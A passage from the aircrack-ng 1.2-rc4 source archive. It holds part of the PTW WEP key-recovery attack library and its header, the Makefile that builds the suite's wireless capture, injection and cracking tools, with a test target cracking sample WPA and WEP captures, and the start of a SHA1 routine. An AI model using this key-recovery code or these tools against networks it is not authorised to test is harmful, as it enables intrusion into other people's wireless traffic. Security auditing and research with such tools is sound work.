(n-1) * keylen); if (sh == NULL) { printf("could not allocate memory\n"); exit(-1); } for (i = 0; i < keylen; i++) { for (j = 1; j < n; j++) { sh[i][j-1].distance = table[i][0].votes - table[i][j].votes; sh[i][j-1].value = table[i][j].b; sh[i][j-1].keybyte = i; } } qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper); if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple, bf, validchars)) { return 1; } // Now one strong byte getdrv(state->table, keylen, normal, ausreisser); for (i = 0; i < keylen-1; i++) { helper[i].keybyte = i+1; helper[i].difference = normal[i+1] - ausreisser[i+1]; } qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper); // do not use bf-bytes as strongbytes i = 0; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong, bf, validchars)) { return 1; } // two strong bytes i++; while(bf[helper[i].keybyte] == 1) { i++; } strongbytes[helper[i].keybyte] = 1; if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong, bf, validchars)) { return 1; } } return 0; } /* * Add a new session to the attack * state - state of attack * iv - IV used in the session * keystream - recovered keystream from the session */ int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream, int * weight, int total) { int i,j; int il; int ir; uint8_t buf[PTW_KEYHSBYTES]; i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]); il = i/8; ir = 1 << (i%8); if ((state->seen_iv[il] & ir) == 0) { state->seen_iv[il] |= ir; for (j = 0; j < total; j++) { state->packets_collected++; guesskeybytes(IVBYTES, iv, &keystream[KSBYTES*j], buf, PTW_KEYHSBYTES); for (i = 0; i < KEYHSBYTES; i++) { state->table[i][buf[i]].votes += weight[j]; } if (state->allsessions_size < state->packets_collected) { state->allsessions_size = state->allsessions_size << 1; state->allsessions = realloc(state->allsessions, state->allsessions_size * sizeof(PTW_session)); if (state->allsessions == NULL) { printf("could not allocate memory\n"); exit(-1); } } memcpy(state->allsessions[state->packets_collected-1].iv, iv, IVBYTES); memcpy(state->allsessions[state->packets_collected-1].keystream, &keystream[KSBYTES*j], KSBYTES); state->allsessions[state->packets_collected-1].weight = weight[j]; } if ((state->sessions_collected < CONTROLSESSIONS)) { memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES); memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES); state->sessions_collected++; } return 1; } else { return 0; } } /* * Allocate a new attackstate */ PTW_attackstate * PTW_newattackstate() { int i,k; PTW_attackstate * state = NULL; state = malloc(sizeof(PTW_attackstate)); if (state == NULL) { return NULL; } memset(state, 0, sizeof(PTW_attackstate)); for (i = 0; i < PTW_KEYHSBYTES; i++) { for (k = 0; k < n; k++) { state->table[i][k].b = k; } } state->allsessions = malloc(4096 * sizeof(PTW_session)); state->allsessions_size = 4096; if (state->allsessions == NULL) { printf("could not allocate memory\n"); exit(-1); } return state; } /* * Free an allocated attackstate */ void PTW_freeattackstate(PTW_attackstate * state) { free(state->allsessions); free(state); return; } aircrack-ng-1.2-rc4/src/Makefile0000644000000000000000000002535712640712161015164 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak TEST_DIR = $(AC_ROOT)/test CFLAGS += -Iinclude iCC = /opt/intel/bin/icc iCFLAGS = -w -xHOST $(COMMON_CFLAGS) iOPTFLAGS = -O3 -ip -ipo -D_FILE_OFFSET_BITS=64 PROF_DIR = $(PWD)/prof BINFILES = aircrack-ng$(EXE) airdecap-ng$(EXE) packetforge-ng$(EXE) \ ivstools$(EXE) kstats$(EXE) makeivs-ng$(EXE) \ airdecloak-ng$(EXE) wpaclean$(EXE) LIBPCRE = ifeq ($(PCRE), true) LIBPCRE = $(shell $(PKG_CONFIG) --libs libpcre) endif ifneq ($(OSNAME), cygwin) #There is yet no libpcap support for windows, so we skip the crawler HAVE_PCAP = $(shell ld -lpcap 2> /dev/null && echo yes) ifeq ($(HAVE_PCAP), yes) #cannot link with -lpcap, skip crawler BINFILES += besside-ng-crawler$(EXE) LIBPCAP = -lpcap endif endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) BINFILES += airolib-ng$(EXE) endif SBINFILES = aireplay-ng$(EXE) airodump-ng$(EXE) airserv-ng$(EXE) \ airtun-ng$(EXE) airbase-ng$(EXE) OPTFILES = aircrack-ng-opt-prof_gen aircrack-ng-opt \ aircrack-ng-opt-prof prof/* ifeq ($(subst TRUE,true,$(filter TRUE true,$(experimental) $(EXPERIMENTAL))),true) SBINFILES += wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) besside-ng$(EXE) BINFILES += buddy-ng$(EXE) endif SRC_SSE_COMMON = memory.c wpapsk.c OBJS_SSE_COMMON = memory.o wpapsk.o OBJ_MEMORY = memory.o SRC_SSE_CORE = sse-intrinsics.c OBJ_SSE_CORE = sse-intrinsics.o SRC_SIMD_CORE = simd-intrinsics.c OBJ_SIMD_CORE = simd-intrinsics.o SIMDOUT = wpapsk-simd.o ifeq ($(subst TRUE,true,$(filter TRUE true,$(multibin) $(MULTIBIN))),true) SSESIMD_BIN = wpapsk-simd.o wpapsk-sse.o aircrack-ng-core.o aircrack-ng-simd$(EXE) aircrack-ng-sse$(EXE) CFLAGS += -DOLD_SSE_CORE else ifeq ($(subst TRUE,true,$(filter TRUE true,$(newsse) $(NEWSSE))),true) ifeq ($(subst TRUE,true,$(filter TRUE true,$(simdcore) $(SIMDCORE))),true) CFLAGS += -DSIMD_CORE SSEC_INT = simd-intrinsics.c $(SRC_SSE_COMMON) SSEO_INT = simd-intrinsics.o $(OBJS_SSE_COMMON) else SSEC_INT = sse-intrinsics.c $(SRC_SSE_COMMON) SSEO_INT = sse-intrinsics.o $(OBJS_SSE_COMMON) endif endif endif SRC_LINECOUNT = linecount.o LIBLINECOUNT = liblinecount.a SRC_PTW = aircrack-ptw-lib.c SRC_AC = aircrack-ng.c crypto.c common.c $(SSEC_INT) $(SRC_PTW) OBJS_PTW = aircrack-ptw-lib.o OBJS_AC = aircrack-ng.o cpuid.o crypto.o common.o $(SSEO_INT) uniqueiv.o $(OBJS_PTW) $(LIBLINECOUNT) OBJS_AC_MULTI = crypto.o common.o uniqueiv.o $(OBJS_PTW) ASM_AC = sha1-sse2.S OBJS_AD = airdecap-ng.o crypto.o common.o OBJS_PF = packetforge-ng.o common.o crypto.o OBJS_AR = aireplay-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_ADU = airodump-ng.o common.o crypto.o uniqueiv.o osdep/radiotap/radiotap.o ifneq ($(OSNAME), Linux) OBJS_ADU += osdep/common.o endif OBJS_AT = airtun-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_IV = ivstools.o common.o crypto.o uniqueiv.o OBJS_AS = airserv-ng.o common.o osdep/radiotap/radiotap.o OBJS_WS = wesside-ng.o crypto.o common.o osdep/radiotap/radiotap.o $(OBJS_PTW) OBJS_BS = besside-ng.o crypto.o common.o osdep/radiotap/radiotap.o $(OBJS_PTW) OBJS_BC = besside-ng-crawler.o OBJS_AL = airolib-ng.o crypto.o common.o OBJS_ES = easside-ng.o common.o osdep/radiotap/radiotap.o OBJS_BUDDY = buddy-ng.o common.o OBJS_MI = makeivs-ng.o common.o uniqueiv.o OBJS_AB = airbase-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_AU = airdecloak-ng.o common.o osdep/radiotap/radiotap.o OBJS_TT = tkiptun-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_WC = wpaclean.o osdep/radiotap/radiotap.o OSD = osdep LIBS := -L$(OSD) -l$(OSD) $(LIBS) ifeq ($(OSNAME), cygwin) LIBS += -liphlpapi -lsetupapi -luuid endif LIBOSD = $(OSD)/lib$(OSD).a LIBSSL = -lssl -lcrypto LIBSTDCXX = -lstdc++ ifeq ($(subst TRUE,true,$(filter TRUE true,$(gcrypt) $(GCRYPT))),true) LIBSSL = -lgcrypt $(LDFLAGS) CFLAGS += -DUSE_GCRYPT OBJS_AC += sha1-git.o OBJS_AD += sha1-git.o OBJS_PF += sha1-git.o OBJS_IV += sha1-git.o OBJS_AR += sha1-git.o OBJS_ADU += sha1-git.o OBJS_AT += sha1-git.o OBJS_AB += sha1-git.o OBJS_AL += sha1-git.o OBJS_WS += sha1-git.o OBJS_TT += sha1-git.o OBJS_BS += sha1-git.o else LIBSSL = -lssl -lcrypto $(LDFLAGS) endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) LIBSQL = -L/usr/local/lib -lsqlite3 else LIBSQL = endif all: config userland $(SBINFILES) $(SSESIMD_BIN) userland: $(BINFILES) config: $(AC_ROOT)/common.cfg $(AC_ROOT)/common.cfg: sh $(AC_ROOT)/autocfg $(CC) $(AC_ROOT) $(LIBLINECOUNT): $(SRC_LINECOUNT) $(AR) cru $(LIBLINECOUNT) $(SRC_LINECOUNT) $(RANLIB) $(LIBLINECOUNT) touch $(@) $(LIBOSD): $(MAKE) -C $(OSD) aircrack-ng-opt: $(SRC_AC) $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) $(SRC_AC) $(ASM_AC) $(LIBSSL) \ uniqueiv.o -o aircrack-ng-opt -lpthread $(LIBSQL) aircrack-ng-opt-prof_gen: $(SRC_AC) mkdir -p prof $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_genx -DDO_PGO_DUMP \ -prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \ aircrack-ng-opt-prof_gen -lpthread $(LIBSQL) aircrack-ng-opt-prof_use: $(SRC_AC) $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_use \ -prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \ aircrack-ng-opt-prof -lpthread $(LIBSQL) aircrack-ng$(EXE): $(OBJS_AC) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) $(LIBSTDCXX) ifeq ($(subst TRUE,true,$(filter TRUE true,$(multibin) $(MULTIBIN))),true) wpapsk-simd.o: wpapsk.c $(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) -DSIMD_CORE -c -o $(@) wpapsk.c aircrack-ng-core.o: aircrack-ng.c $(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) -c -o $(@) aircrack-ng.c wpapsk-sse.o: wpapsk.c $(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) -c -o $(@) wpapsk.c aircrack-ng-simd$(EXE): $(OBJS_AC_MULTI) wpapsk-simd.o $(OBJ_MEMORY) $(OBJ_SIMD_CORE) $(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) $(LDFLAGS) $(OBJS_AC_MULTI) $(OBJ_MEMORY) $(OBJ_SIMD_CORE) aircrack-ng-core.o wpapsk-simd.o $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) $(LIBSTDCXX) $(LIBLINECOUNT) aircrack-ng-sse$(EXE): $(OBJS_AC_MULTI) wpapsk-sse.o $(OBJ_MEMORY) $(OBJ_SSE_CORE) $(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) $(LDFLAGS) $(OBJS_AC_MULTI) $(OBJ_MEMORY) $(OBJ_SSE_CORE) aircrack-ng-core.o wpapsk-sse.o $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) $(LIBSTDCXX) $(LIBLINECOUNT) endif airdecap-ng$(EXE): $(OBJS_AD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL) packetforge-ng$(EXE): $(OBJS_PF) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL) aireplay-ng$(EXE): $(OBJS_AR) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL) airodump-ng$(EXE): $(OBJS_ADU) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread $(LIBPCRE) airserv-ng$(EXE): $(OBJS_AS) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AS) -o $(@) $(LIBS) airtun-ng$(EXE): $(OBJS_AT) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL) ivstools$(EXE): $(OBJS_IV) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL) kstats$(EXE): kstats.o $(CC) $(CFLAGS) $(LDFLAGS) kstats.o -o $(@) $(LDFLAGS) wesside-ng$(EXE): $(OBJS_WS) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz easside-ng$(EXE): $(OBJS_ES) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz buddy-ng$(EXE): $(OBJS_BUDDY) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BUDDY) -o $(@) $(LDFLAGS) besside-ng$(EXE): $(OBJS_BS) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BS) -o $(@) $(LIBS) $(LIBSSL) -lz $(LIBPCRE) besside-ng-crawler$(EXE): $(OBJS_BC) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BC) -o $(@) $(LIBPCAP) makeivs-ng$(EXE): $(OBJS_MI) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_MI) -o $(@) $(LDFLAGS) airolib-ng$(EXE): $(OBJS_AL) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL) airbase-ng$(EXE): $(OBJS_AB) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread airdecloak-ng$(EXE): $(OBJS_AU) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AU) -o $(@) $(LDFLAGS) tkiptun-ng$(EXE): $(OBJS_TT) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL) wpaclean$(EXE): $(OBJS_WC) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WC) -o $(@) $(LIBS) strip: $(BINFILES) $(SBINFILES) strip $(BINFILES) $(SBINFILES) clean: $(MAKE) -C $(OSD) clean -rm -f $(SBINFILES) $(BINFILES) $(OPTFILES) airolib-ng$(EXE) *.o wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) buddy-ng$(EXE) besside-ng$(EXE) a.out $(LIBLINECOUNT) $(SSESIMD_BIN) distclean: clean install: all $(MAKE) -C $(OSD) install install -d $(DESTDIR)$(bindir) install -m 755 $(BINFILES) $(DESTDIR)$(bindir) install -d $(DESTDIR)$(sbindir) install -m 755 $(SBINFILES) $(DESTDIR)$(sbindir) uninstall: $(MAKE) -C $(OSD) uninstall -rm -f $(DESTDIR)$(bindir)/aircrack-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airdecap-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/packetforge-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airolib-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/ivstools$(EXE) -rm -f $(DESTDIR)$(bindir)/kstats$(EXE) -rm -f $(DESTDIR)$(bindir)/buddy-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airodump-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airserv-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airtun-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/aireplay-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/wesside-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/easside-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/besside-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/besside-ng-crawler$(EXE) -rm -f $(DESTDIR)$(bindir)/wpaclean$(EXE) -rm -f $(DESTDIR)$(sbindir)/airbase-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/makeivs-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airdecloak-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/tkiptun-ng$(EXE) -rm -rf $(DESTDIR)$(etcdir) check: all ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e Harkonen -q $(TEST_DIR)/wpa2.eapol.cap | grep 'KEY FOUND! \[ 12345678 \]' ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e test -q $(TEST_DIR)/wpa.cap | grep 'KEY FOUND! \[ biscotte \]' ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e linksys -q $(TEST_DIR)/wpa2-psk-linksys.cap | grep 'KEY FOUND! \[ dictionary \]' ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e linksys -q $(TEST_DIR)/wpa-psk-linksys.cap | grep 'KEY FOUND! \[ dictionary \]' ./aircrack-ng$(EXE) $(TEST_DIR)/wep_64_ptw.cap -l /dev/null | grep "KEY FOUND" | grep "1F:1F:1F:1F:1F" ./airdecap-ng$(EXE) -e linksys -p dictionary $(TEST_DIR)/wpa2-psk-linksys.cap -o /dev/null -c /dev/null | grep "decrypted WPA" | grep 25 ./airdecap-ng$(EXE) -e linksys -p dictionary $(TEST_DIR)/wpa-psk-linksys.cap -o /dev/null -c /dev/null | grep "decrypted WPA" | grep 53 ./airdecap-ng$(EXE) -e test -p biscotte $(TEST_DIR)/wpa.cap -o /dev/null -c /dev/null | grep "decrypted WPA" | grep 2 $(TEST_DIR)/test-airdecap-ng.sh $(CURDIR) ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) $(TEST_DIR)/test-airolib-sqlite.sh $(CURDIR) endif aircrack-ng-1.2-rc4/src/aircrack-ptw-lib.h0000644000000000000000000000742012511402451017012 0ustar rootroot/* * Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_PTW_H_ #define _AIRCRACK_PTW_H_ #include // Number of bytes we use for our table of seen IVs, this is (2^24)/8 #define PTW_IVTABLELEN 2097152 // How many sessions do we use to check if a guessed key is correct // 10 seems to be a reasonable choice // Its now the number of sessions for selecting 10 at a random position #define PTW_CONTROLSESSIONS 10000 // The maximum possible length of the main key, 13 is the maximum for a 104 bit key #define PTW_KEYHSBYTES 29 // How long the IV is, 3 is the default value for WEP #define PTW_IVBYTES 3 // How many bytes of a keystream we collect, 16 are needed for a 104 bit key #define PTW_KSBYTES 32 // The MAGIC VALUE!! #define PTW_n 256 // distinguish klein and ptw #define NO_KLEIN 0x01 #define NO_PTW 0x02 // We use this to keep track of the outputs of A_i typedef struct { // How often the value b appeard as an output of A_i int votes; uint8_t b; } PTW_tableentry; // A recovered session typedef struct { // The IV used in this session uint8_t iv[PTW_IVBYTES]; // The keystream used in this session uint8_t keystream[PTW_KSBYTES]; // Weight for this session int weight; } PTW_session; typedef int (*rc4test_func)(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream); // The state of an attack // You should usually never modify these values manually typedef struct { // How many unique packets or IVs have been collected int packets_collected; // Table to check for duplicate IVs uint8_t seen_iv[PTW_IVTABLELEN]; // How many sessions for checking a guessed key have been collected int sessions_collected; // The actual recovered sessions PTW_session sessions[PTW_CONTROLSESSIONS]; // The table with votes for the keybytesums PTW_tableentry table[PTW_KEYHSBYTES][PTW_n]; // Sessions for the original klein attack PTW_session * allsessions; int allsessions_size; // rc4test function, optimized if available rc4test_func rc4test; } PTW_attackstate; PTW_attackstate * PTW_newattackstate(); void PTW_freeattackstate(PTW_attackstate *); int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *, int *, int); int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int, int *, int [][PTW_n], int attacks); #endif aircrack-ng-1.2-rc4/src/sha1-git.c0000644000000000000000000002331412640722526015302 0ustar rootroot#ifndef _SHA1_GIT /* * sha1-git.c * * This code is based on the GIT SHA1 Implementation. * * Copyright (C) 2009 Linus Torvalds * Copyright (C) 2009 Nicolas Pitre * Copyright (C) 2009 Junio C Hamano * Copyright (C) 2009 Brandon Casey * Copyright (C) 2010 Ramsay Jones * Copyright (C) 2012 Carlos Alberto Lopez Perez * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ /* * SHA1 routine optimized to do word accesses rather than byte accesses, * and to avoid unnecessary copies into the context array. * * This was initially based on the Mozilla SHA1 implementation, although * none of the original Mozilla code remains. */ /* this is only to get definitions for memcpy(), ntohl() and htonl() */ //#include "../git-compat-util.h" #include #include #include "sha1-git.h" #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) /* * Force usage of rol or ror by selecting the one with the smaller constant. * It _can_ generate slightly smaller code (a constant of 1 is special), but * perhaps more importantly it's possibly faster on any uarch that does a * rotate with a loop. */ #define SHA_ASM(op, x, n) ({ unsigned int __res; __asm__(op " %1,%0":"=r" (__res):"i" (n), "0" (x)); __res; }) #define SHA_ROL(x,n) SHA_ASM("rol", x, n) #define SHA_ROR(x,n) SHA_ASM("ror", x, n) #else #define SHA_ROT(X,l,r) (((X) << (l)) | ((X) >> (r))) #define SHA_ROL(X,n) SHA_ROT(X,n,32-(n)) #define SHA_ROR(X,n) SHA_ROT(X,32-(n),n) #endif /* * If you have 32 registers or more, the compiler can (and should) * try to change the array[] accesses into registers. However, on * machines with less than ~25 registers, that won't really work, * and at least gcc will make an unholy mess of it. * * So to avoid that mess which just slows things down, we force * the stores to memory to actually happen (we might be better off * with a 'W(t)=(val);asm("":"+m" (W(t))' there instead, as * suggested by Artur Skawina - that will also make gcc unable to * try to do the silly "optimize away loads" part because it won't * see what the value will be). * * Ben Herrenschmidt reports that on PPC, the C version comes close * to the optimized asm with this (ie on PPC you don't want that * 'volatile', since there are lots of registers). * * On ARM we get the best code generation by forcing a full memory barrier * between each SHA_ROUND, otherwise gcc happily get wild with spilling and * the stack frame size simply explode and performance goes down the drain. */ #if defined(__i386__) || defined(__x86_64__) #define setW(x, val) (*(volatile unsigned int *)&W(x) = (val)) #elif defined(__GNUC__) && defined(__arm__) #define setW(x, val) do { W(x) = (val); __asm__("":::"memory"); } while (0) #else #define setW(x, val) (W(x) = (val)) #endif /* * Performance might be improved if the CPU architecture is OK with * unaligned 32-bit loads and a fast ntohl() is available. * Otherwise fall back to byte loads and shifts which is portable, * and is faster on architectures with memory alignment issues. */ #if defined(__i386__) || defined(__x86_64__) || \ defined(_M_IX86) || defined(_M_X64) || \ defined(__ppc__) || defined(__ppc64__) || \ defined(__powerpc__) || defined(__powerpc64__) || \ defined(__s390__) || defined(__s390x__) #define get_be32(p) ntohl(*(unsigned int *)(p)) #define put_be32(p, v) do { *(unsigned int *)(p) = htonl(v); } while (0) #else #define get_be32(p) ( \ (*((unsigned char *)(p) + 0) << 24) | \ (*((unsigned char *)(p) + 1) << 16) | \ (*((unsigned char *)(p) + 2) << 8) | \ (*((unsigned char *)(p) + 3) << 0) ) #define put_be32(p, v) do { \ unsigned int __v = (v); \ *((unsigned char *)(p) + 0) = __v >> 24; \ *((unsigned char *)(p) + 1) = __v >> 16; \ *((unsigned char *)(p) + 2) = __v >> 8; \ *((unsigned char *)(p) + 3) = __v >> 0; } while (0) #endif /* This "rolls" over the 512-bit array */ #define W(x) (array[(x)&15]) /* * Where do we get the source from? The first 16 iterations get it from * the input data, the next mix it from the 512-bit array. */ #define SHA_SRC(t) get_be32(data + t) #define SHA_MIX(t) SHA_ROL(W(t+13) ^ W(t+8) ^ W(t+2) ^ W(t), 1) #define SHA_ROUND(t, input, fn, constant, A, B, C, D, E) do { \ unsigned int TEMP = input(t); setW(t, TEMP); \ E += TEMP + SHA_ROL(A,5) + (fn) + (constant); \ B = SHA_ROR(B, 2); } while (0) #define T_0_15(t, A, B, C, D, E) SHA_ROUND(t, SHA_SRC, (((C^D)&B)^D) , 0x5a827999, A, B, C, D, E ) #define T_16_19(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (((C^D)&B)^D) , 0x5a827999, A, B, C, D, E ) #define T_20_39(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (B^C^D) , 0x6ed9eba1, A, B, C, D, E ) #define T_40_59(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, ((B&C)+(D&(B^C))) , 0x8f1bbcdc, A, B, C, D, E ) #define T_60_79(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (B^C^D) , 0xca62c1d6, A, B, C, D, E ) static void blk_SHA1_Block(blk_SHA_CTX *ctx, const unsigned int *data) { unsigned int A,B,C,D,E; unsigned int array[16]; A = ctx->h0; B = ctx->h1; C = ctx->h2; D = ctx->h3; E = ctx->h4; /* Round 1 - iterations 0-16 take their input from 'data' */ T_0_15( 0, A, B, C, D, E); T_0_15( 1, E, A, B, C, D); T_0_15( 2, D, E, A, B, C); T_0_15( 3, C, D, E, A, B); T_0_15( 4, B, C, D, E, A); T_0_15( 5, A, B, C, D, E); T_0_15( 6, E, A, B, C, D); T_0_15( 7, D, E, A, B, C); T_0_15( 8, C, D, E, A, B); T_0_15( 9, B, C, D, E, A); T_0_15(10, A, B, C, D, E); T_0_15(11, E, A, B, C, D); T_0_15(12, D, E, A, B, C); T_0_15(13, C, D, E, A, B); T_0_15(14, B, C, D, E, A); T_0_15(15, A, B, C, D, E); /* Round 1 - tail. Input from 512-bit mixing array */ T_16_19(16, E, A, B, C, D); T_16_19(17, D, E, A, B, C); T_16_19(18, C, D, E, A, B); T_16_19(19, B, C, D, E, A); /* Round 2 */ T_20_39(20, A, B, C, D, E); T_20_39(21, E, A, B, C, D); T_20_39(22, D, E, A, B, C); T_20_39(23, C, D, E, A, B); T_20_39(24, B, C, D, E, A); T_20_39(25, A, B, C, D, E); T_20_39(26, E, A, B, C, D); T_20_39(27, D, E, A, B, C); T_20_39(28, C, D, E, A, B); T_20_39(29, B, C, D, E, A); T_20_39(30, A, B, C, D, E); T_20_39(31, E, A, B, C, D); T_20_39(32, D, E, A, B, C); T_20_39(33, C, D, E, A, B); T_20_39(34, B, C, D, E, A); T_20_39(35, A, B, C, D, E); T_20_39(36, E, A, B, C, D); T_20_39(37, D, E, A, B, C); T_20_39(38, C, D, E, A, B); T_20_39(39, B, C, D, E, A); /* Round 3 */ T_40_59(40, A, B, C, D, E); T_40_59(41, E, A, B, C, D); T_40_59(42, D, E, A, B, C); T_40_59(43, C, D, E, A, B); T_40_59(44, B, C, D, E, A); T_40_59(45, A, B, C, D, E); T_40_59(46, E, A, B, C, D); T_40_59(47, D, E, A, B, C); T_40_59(48, C, D, E, A, B); T_40_59(49, B, C, D, E, A); T_40_59(50, A, B, C, D, E); T_40_59(51, E, A, B, C, D); T_40_59(52, D, E, A, B, C); T_40_59(53, C, D, E, A, B); T_40_59(54, B, C, D, E, A); T_40_59(55, A, B, C, D, E); T_40_59(56, E, A, B, C, D); T_40_59(57, D, E, A, B, C); T_40_59(58, C, D, E, A, B); T_40_59(59, B, C, D, E, A); /* Round 4 */ T_60_79(60, A, B, C, D, E); T_60_79(61, E, A, B, C, D); T_60_79(62, D, E, A, B, C); T_60_79(63, C, D, E, A, B); T_60_79(64, B, C, D, E, A); T_60_79(65, A, B, C, D, E); T_60_79(66, E, A, B, C, D); T_60_79(67, D, E, A, B, C); T_60_79(68, C, D, E, A, B); T_60_79(69, B, C, D, E, A); T_60_79(70, A, B, C, D, E); T_60_79(71, E, A, B, C, D); T_60_79(72, D, E, A, B, C); T_60_79(73, C, D, E, A, B); T_60_79(74, B, C, D, E, A); T_60_79(75, A, B, C, D, E); T_60_79(76, E, A, B, C, D); T_60_79(77, D, E, A, B, C); T_60_79(78, C, D, E, A, B); T_60_79(79, B, C, D, E, A); ctx->h0 += A; ctx->h1 += B; ctx->h2 += C; ctx->h3 += 